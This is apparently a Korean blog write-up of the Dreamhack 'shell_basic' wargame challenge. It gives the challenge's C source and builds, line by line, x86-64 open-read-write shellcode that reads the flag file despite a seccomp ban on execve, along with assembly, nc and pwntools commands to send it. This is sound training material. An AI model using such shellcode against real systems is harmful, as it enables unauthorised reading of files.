일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | ||||
4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 |
18 | 19 | 20 | 21 | 22 | 23 | 24 |
25 | 26 | 27 | 28 | 29 | 30 | 31 |
- RSA Common Modulas Attack
- 암호학
- bandit
- rao
- 드림핵
- Hastad
- OverTheWire Bandit Level 1 → Level 2
- CSRF
- shellcode
- pycrpytodome
- cryptography
- picoCTF
- Cube Root Attack
- XSS
- RSA
- Franklin-Reiter Related Message Attack
- Crypto
- overthewire
- AES
- 시스템해킹
- spoofing
- return address overflow
- dreamhack
- Montgomery Reduction
- redirect
- arp
- dns
- weak key
- Bandit Level 1 → Level 2
- 웹해킹
- Today
- Total
암호(수학) 등.. 공부한 거 잊을거 같아서 만든 블로그
[Dreamhack] shell_basic 본문
문제
풀이
문제에서는 shell_basic.c 와 shell_basic 파일을 제공한다.
shell_basic.c
// Compile: gcc -o shell_basic shell_basic.c -lseccomp
// apt install seccomp libseccomp-dev
#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <signal.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(10);
}
void banned_execve() {
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
if (ctx == NULL) {
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
seccomp_load(ctx);
}
void main(int argc, char *argv[]) {
char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
void (*sc)();
init();
banned_execve();
printf("shellcode: ");
read(0, shellcode, 0x1000);
sc = (void *)shellcode;
sc();
}
여기서 main을 보자
void main(int argc, char *argv[]) {
char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
void (*sc)();
init();
banned_execve();
printf("shellcode: ");
read(0, shellcode, 0x1000);
sc = (void *)shellcode;
sc();
}
mmap 함수로 shellcode에 메모리를 매핑한 후, read함수를 사용하여 shellcode에 입력한 값을 저장한다.
따라서 flag를 출력하는 쉘코드를 넣으면 된다.
open
push 0
mov rax, 0x676E6F6F6F6F6F6F ; "oooooong"
push rax
mov rax, 0x6C5F73695F656D61 ; "ame_is_l"
push rax
mov rax, 0x6E5F67616C662F63 ; "c/flag_n"
push rax
mov rax, 0x697361625f6c6c65 ; "ell_basi"
push rax
mov rax, 0x68732f656d6f682f ; "/home/sh"
push rax
mov rdi, rsp ; filename
xor rsi, rsi ; mov rsi 0
xor rdx, rdx ; mov rdx 0
mov rax, 0x02
syscall ; open("/home/shell_basic/flag_name_is_loooooong", 0, 0)
syscall | rax | rdi | rsi | rdx |
open | 0x02 | const char *filename | int falgs | umode_t mode |
open 을 사용하기 위해서는 위의 표에 맞게 레지스터에 값을 넣어 줘야한다.
flag가 있는 파일의 이름은 문제에서 알려준 /home/shell_basic/flag_name_is_loooooong 이다.
이를 8바이트씩 쪼개어 16진수로 리틀엔디언으로 변환하면 0x68732f656d6f682f(/home/sh), 0x697361625f6c6c65(ell_basi), 0x6E5F67616C662F63(c/flag_n), 0x6C5F73695F656D61(ame_is_l), 0x676e6f6f6f6f6f6f(oooooong) 이다. (리틀 엔디언 이므로 반대 순서로 push 한다)
파일의 이름을 스택에 push하고 rdi가 이 문자열을 가리킬 수 있도록 rsp 의 값을 mov 한다.
flas | |
O_RDONLY (0) | 읽기 전용 모드 |
O_WRONLY (1) | 쓰기 전용 모드 |
O_RDWR (2) | 읽기 쓰기 접근 |
파일을 읽을 용도로 open 하기에 flag는 O_RDONLY 로 설정해준다. 따라서 rsi의 값을 0으로 해주기 위해 xor 해준다.
mode는 파일에 대한 접근 권한을 설정해준다. 우리는 단순히 읽기만 할 것이므로 rdx의 값을 0으로 설정해 준다.
인자값을 다 설정했으면 syscall을 해서 open 함수를 호출한다.
read
mov rdi, rax
mov rsi, rsp
sub rsi, 0x30
mov rdx, 0x30
mov rax, 0x0
syscall
syscall | rax | rdi | rsi | rdx |
read | 0x00 | unsigned int fd | char *buf | size_t count |
open의 결과 값이 rax에 반환되므로 이를 다시 rdi에 옮겨준다.
그리고 플래그를 읽어올 적당한 크기를 정해서(0x30) 공간을 만들고 rsi 레지스터가 그 공간을 가리키게 한다.
rdx는 공간의 크기값을 준다.
rax 값을 0으로 설정하여 syscall 이 read를 호출 하게 한다.
wirte
mov rdi, 0x01
mov rax, 0x01
syscall
syscall | rax | rdi | rsi | rdx |
wirte | 0x01 | unsigned int fd | const char *buf | size_t count |
표준 출력은 1이므로 rdi에 1을 설정해주고, 이 외의 값들은 read를 호출했을 때의 레지스터 값을 그대로 사용한다.
rax를 1로 설정하여 write를 호출한다.
orw shellcode
;code.asm
section .text
global _start
_start:
push 0
mov rax, 0x676E6F6F6F6F6F6F
push rax
mov rax, 0x6C5F73695F656D61
push rax
mov rax, 0x6E5F67616C662F63
push rax
mov rax, 0x697361625f6c6c65
push rax
mov rax, 0x68732f656d6f682f
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 0x02
syscall
mov rdi, rax
mov rsi, rsp
sub rsi, 0x30
mov rdx, 0x30
mov rax, 0x0
syscall
mov rdi, 0x01
mov rax, 0x01
syscall
xor rdi, rdi
mov rax, 0x3C
syscall
아래의 명령어를 사용하여
nasm -f elf64 orw_shell.asm # 리눅스 파일 포맷인 elf64로 어셈블하여 orw_shell_o 생성
objcopy --dump-section .text=orw_shell.bin orw_shell.o #orw_shell.bin 생성
nc dreamhack 1234 < orw_shell.bin # orw_shell.bin 파일을 nc 명령어의 입력으로 넣음
플래그를 확인할 수 있다.
+ python에서 .bin 파일을 'rb'형식으로 읽고 pwntools 모듈의 sendline 메서드를 이용해서 보내는 것도 가능하다.
from pwn import *
sh = open('./orw.bin', 'rb').read()
p = remote('host3.dreamhack.games', 16629)
p.sendline(sh)
print(p.recvline())
'Dreamhack > Pwnable' 카테고리의 다른 글
[Dreamhack] Return_to_Library (0) | 2023.05.04 |
---|---|
[Dreamhack] ssp_001 (0) | 2023.04.09 |
[Dreamhack] Return to Shellcode (0) | 2023.04.07 |
[Dreamhack] basic_exploitation_000 (0) | 2023.04.02 |
[Dreamhack] basic_exploitation_001 (0) | 2023.04.02 |